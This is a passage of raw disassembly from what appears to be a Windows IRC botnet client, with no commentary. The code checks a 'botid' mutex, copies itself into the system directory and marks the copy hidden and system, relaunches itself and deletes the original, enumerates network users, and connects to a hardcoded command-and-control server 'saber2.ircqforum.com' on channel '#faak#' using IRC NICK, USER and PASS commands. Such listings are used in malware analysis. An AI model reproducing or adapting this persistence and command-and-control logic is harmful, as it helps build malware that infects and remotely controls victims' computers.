		call	sub_40D679
		add	esp, 18h

loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_43F5D0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452

loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_6	; "  %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch

loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	ds:dword_43F6F8
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	ds:dword_43F6F8

loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF

loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_443CD8
		call	sub_4172AE
		pop	ecx
		mov	eax, offset dword_443CD8
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	ds:dword_424154	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	ds:dword_43F678
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_443AD4
		push	offset dword_42F568
		push	esi
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------

loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_443AD4
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172AE
		add	esp, 14h

loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6A9	proc near		; CODE XREF: _0:00419CADp

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40D3A5
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_424058
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_489C50, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_417300
		pop	ecx
		call	sub_40981F
		push	2
		call	ds:dword_43F714	; SetErrorMode
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		call	ds:dword_424164	; CreateMutexA
		push	eax
		call	ds:dword_424088	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		call	ds:off_42414C

loc_40E726:				; CODE XREF: sub_40E6A9+73j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	ds:dword_43F5E0	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40EB89
		cmp	[ebp+var_884], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	ds:dword_424068	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	ds:off_424100
		push	eax
		call	ds:off_424094
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	ds:dword_42F5BC, ebx
		mov	esi, offset byte_42F678
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824

loc_40E801:				; CODE XREF: sub_40E6A9+179j
		call	sub_41730A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	ds:byte_42F678[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801

loc_40E824:				; CODE XREF: sub_40E6A9+148j
					; sub_40E6A9+156j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	ds:off_4240A8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	ds:dword_424128	; SetFileAttributesA

loc_40E864:				; CODE XREF: sub_40E6A9+1A7j
		mov	esi, ds:dword_424160
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax

loc_40E87B:				; CODE XREF: sub_40E6A9+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40E8B4
		call	ds:dword_42408C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4

loc_40E895:				; CODE XREF: sub_40E6A9+1E5j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_424064	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------

loc_40E8B4:				; CODE XREF: sub_40E6A9+1D6j
					; sub_40E6A9+1E0j ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	ds:dword_424128	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_64]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_64], esi
		mov	[ebp+var_58], offset byte_43C80C
		mov	[ebp+var_34], bx
		push	1
		pop	esi
		mov	[ebp+var_38], esi
		call	ds:dword_42415C	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_4240FC	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_435144
		push	eax
		call	sub_4172AE
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	ds:dword_424120	; CreateProcessA
		test	eax, eax
		jz	short loc_40E98C
		push	0C8h
		call	ds:dword_424064	; Sleep
		push	[ebp+var_1C]
		mov	esi, ds:off_424078
		call	esi ; sub_49C3D5
		push	[ebp+var_18]
		call	esi ; sub_49C3D5
		call	ds:dword_43F5C8	; WSACleanup
		push	ebx
		call	ds:off_42414C

loc_40E98C:				; CODE XREF: sub_40E6A9+137j
					; sub_40E6A9+2B9j
		cmp	ds:dword_48A030, 2
		jle	short loc_40E9D8
		mov	eax, ds:dword_48A034
		push	dword ptr [eax+4]
		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_424088	; WaitForSingleObject
		push	esi
		call	ds:off_424078
		mov	eax, ds:dword_48A034
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		call	ds:dword_424064	; Sleep
		mov	eax, ds:dword_48A034
		push	dword ptr [eax+8]
		call	ds:dword_424158	; DeleteFileA

loc_40E9D8:				; CODE XREF: sub_40E6A9+2EAj
					; sub_40E6A9+314j
		cmp	ds:dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	ds:dword_43F738, ebx
		jnz	short loc_40E9F5
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_40C1AE
		pop	ecx

loc_40E9F5:				; CODE XREF: sub_40E6A9+335j
					; sub_40E6A9+33Dj
		lea	eax, [ebp+var_E4]
		push	offset dword_43511C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_E4]
		push	ebx
		push	eax
		call	sub_416D5A
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_444340
		call	sub_417330
		call	sub_41730A
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_489C5C
		mov	ds:dword_489DD0, ebx
		call	sub_418C10
		mov	eax, ds:dword_42F5A0
		push	3Fh
		mov	edi, offset dword_489CDC
		push	offset aFaak	; "#faak#"
		push	edi
		mov	ds:dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_489D1C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	ds:dword_489DB0, ebx

loc_40EA83:				; CODE XREF: sub_40E6A9+480j
					; sub_40E6A9+48Bj ...
		mov	[ebp+var_4], ebx

loc_40EA86:				; CODE XREF: sub_40E6A9+434j
		cmp	ds:dword_43F750, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	ds:dword_43F5AC	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------

loc_40EAA4:				; CODE XREF: sub_40E6A9+3E3j
					; sub_40E6A9+3F2j
		push	offset dword_489C58
		mov	ds:dword_489DCC, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40EB7E
		cmp	ds:dword_489DCC, ebx
		jz	short loc_40EACB
		dec	[ebp+var_4]

loc_40EACB:				; CODE XREF: sub_40E6A9+41Dj
		push	0BB8h

loc_40EAD0:				; CODE XREF: sub_40E6A9+3F9j
		call	ds:dword_424064	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40EA86
		cmp	[ebp+var_8], 2
		jz	loc_40EB7E
		cmp	[ebp+var_C], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, ds:dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	ds:dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB2E:				; CODE XREF: sub_40E6A9+443j
		cmp	ds:byte_42F654,	bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F654
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, ds:dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	ds:dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB7E:				; CODE XREF: sub_40E6A9+411j
					; sub_40E6A9+43Aj
		call	sub_416F23

loc_40EB83:				; CODE XREF: sub_40E6A9+A1j
					; sub_40E6A9+B1j
		call	ds:dword_43F5C8	; WSACleanup

loc_40EB89:				; CODE XREF: sub_40E6A9+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40E6A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: sub_40E6A9+406p
					; DATA XREF: sub_40EE72+3B0Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_43F668	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_489DC0
		push	ds:dword_42F5CC
		push	eax
		call	sub_415CFF
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4450D8
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_43F6E8	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_4450CC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_43F610	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	ds:dword_43F700	; closesocket
		call	sub_40ADF3
		push	7D0h

loc_40EC72:				; CODE XREF: sub_40EB92+146j
		call	ds:dword_424064	; Sleep
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_435150
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_43F700	; closesocket
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------

loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------

loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417076
		pop	ecx
		push	2
		pop	eax

loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx

loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	ds:byte_489DC8,	bl
		jz	short loc_40ED3F
		push	offset byte_489DC8
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch

loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415CFF
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172AE
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	ds:dword_43F700	; closesocket
		push	1388h
		call	ds:dword_424064	; Sleep

loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax

loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F680	; recv
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]

loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi

loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		call	ds:dword_424064	; Sleep
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------

loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------

loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------

loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2

loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
